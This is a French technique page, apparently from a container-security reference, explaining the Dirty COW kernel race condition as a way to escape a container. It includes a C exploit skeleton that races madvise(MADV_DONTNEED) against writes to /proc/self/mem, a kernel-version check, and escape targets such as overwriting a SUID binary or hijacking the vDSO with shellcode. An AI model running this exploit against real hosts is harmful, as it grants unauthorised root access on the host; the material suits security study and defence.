Dirty COW

Dirty COW est une race condition dans la gestion copy-on-write par le noyau des mappages mémoire privés. En mettant en concurrence une écriture via /proc/self/mem avec madvise(MADV_DONTNEED), un processus écrit dans un fichier qu'il ne peut ouvrir qu'en lecture seule. Depuis un conteneur, cela permet d'écraser un binaire SUID ou de détourner la page vDSO partagée pour exécuter du code en tant que root, défaisant l'isolation parce que le noyau est partagé.

2 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Dirty COW est une race condition dans la façon dont le noyau résout une faute copy-on-write sur un mappage privé en lecture seule. Lorsqu'un processus mappe un fichier en lecture seule avec MAP_PRIVATE puis y écrit, le noyau est censé créer une copie privée afin que le fichier sous-jacent ne soit jamais modifié. En écrivant de façon répétée via /proc/self/mem pendant qu'un second thread appelle madvise(MADV_DONTNEED) sur la même page, un attaquant gagne une fenêtre où l'écriture atteint la page originale partagée avant que la copie privée ne soit substituée, de sorte que l'écriture atteint le fichier sous-jacent en lecture seule. Le résultat est une écriture arbitraire dans n'importe quel fichier que l'attaquant peut ouvrir en lecture, quelles que soient ses permissions.

Comme le noyau est partagé avec l'hôte, cette écriture atteint des fichiers visibles par l'hôte. Vérifiez que le noyau se trouve dans la plage vulnérable :

bash
uname -r                                   # pre-fix kernels (older 3.x-4.8 line) are affected

Technique#

L'exploit ouvre la cible en lecture seule, la mappe en MAP_PRIVATE, puis lance les deux threads concurrents :

c
int f = open(target, O_RDONLY);                 // e.g. a SUID binary readable by all
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
// thread A: discard the private copy so the next write hits the shared page
for(;;) madvise(map, st.st_size, MADV_DONTNEED);
// thread B: write our bytes to the mapping via /proc/self/mem
int m = open("/proc/self/mem", O_RDWR);
for(;;){ lseek(m, (uintptr_t)(map+off), SEEK_SET); write(m, payload, len); }

Gagner la race écrit payload dans le fichier sous-jacent à l'offset off.

Cibles d'évasion depuis un conteneur#

  • Écrasement de binaire SUID : écraser un exécutable SUID appartenant à root, partagé en lecture seule entre le conteneur et l'hôte, en remplaçant son code de sorte que la prochaine invocation s'exécute en tant que root sur l'hôte.
  • Détournement du vDSO : patcher la page du virtual dynamic shared object partagé que chaque processus mappe, redirigeant une fonction fréquemment appelée vers un shellcode, qui s'exécute dans le contexte d'un processus root lors de son prochain appel à cette fonction.

Notes d'exploitation#

  • La technique fournit une écriture de fichier arbitraire fiable ; l'évasion dépend du choix d'un fichier dont la modification donne root sur l'hôte (un binaire SUID partagé) ou du chemin de code du vDSO.
  • Le PoC original peut faire planter le binaire cible ; la variante vDSO est privilégiée pour l'exécution de code root car elle détourne un processus root vivant plutôt que d'attendre une invocation SUID.
  • Les noyaux corrigés ferment la race ; cela ne s'applique qu'aux hôtes exécutant un noyau non corrigé dans la plage affectée, aussi identifiez précisément uname -r avant de tenter l'opération.

Outils#

Références#